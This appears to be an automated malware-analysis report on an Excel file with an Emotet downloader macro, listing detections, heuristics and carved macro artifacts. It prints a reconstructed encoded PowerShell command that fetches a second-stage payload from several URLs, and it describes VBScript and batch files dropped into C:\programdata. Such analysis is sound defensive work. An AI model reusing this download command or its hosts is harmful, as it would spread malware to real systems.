Malware Insights
The file is identified as malicious by ClamAV with the signature Xls.Downloader.EmotetRed02221-9938910-0. The presence of a Workbook_Open macro and CreateObject calls indicates malicious intent. The embedded document body contains obfuscated commands that reconstruct to `powershell -e <base64_encoded_string>` and also includes commands to create and execute VBScript and batch files from the `C:\programdata` directory. The reconstructed command line `powershell -e nc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAGgAYQByAHAAZQByAGgAbwB1AHMAZQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAE0AZQByAGMAaABhAG4AdAAyAC8AQQBSAHMAZgAxAEwASQBjAE8AYQB1AGgASAAxAHIARAByAEkAaAAvACwAaAB0AHQAdABwADoALwAvAGgAbwBsAHUAYgB2AGkAZABlAG8ALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwB6AHBxAHEAZwBaADAAWQBYAGEAUABpAFcAYgBGAC8ALABoAHQAdABwADoALwAvAG0AYQBnAGkAYwBiAGwAbwBnAC4AdABhAHQAYQBtAG8AdABvAHIAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANwBmAGEATgA5AC8ALABoAHQAdABwADoALwAvAGMAaABhAHMAdABvAG4AZwByAG8AZABpAHQAcwBrAGkALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBzAGsAUwBzAEMA` suggests the download of a second-stage payload from multiple URLs. The VBA script itself does not appear to perform direct malicious actions but is likely part of the initial infection chain.
Heuristics 5
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ClamAV: Xls.Downloader.EmotetRed02221-9938910-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Downloader.EmotetRed02221-9938910-0
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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VBA project inside OOXML medium OOXML_VBADocument contains vbaProject.bin — VBA macros present
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.basde7bcbc45ff0a77d05d9af662bacc316e71be11a980e94f6673e556a5dd9d1bc |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 12808 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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vbaProject_00.bin086e7217b83491c5645f8eca87528d9ca02450fa766f5d53ad8e23e104d0adc9 |
vba-project | OOXML VBA project: xl/vbaProject.bin | 37888 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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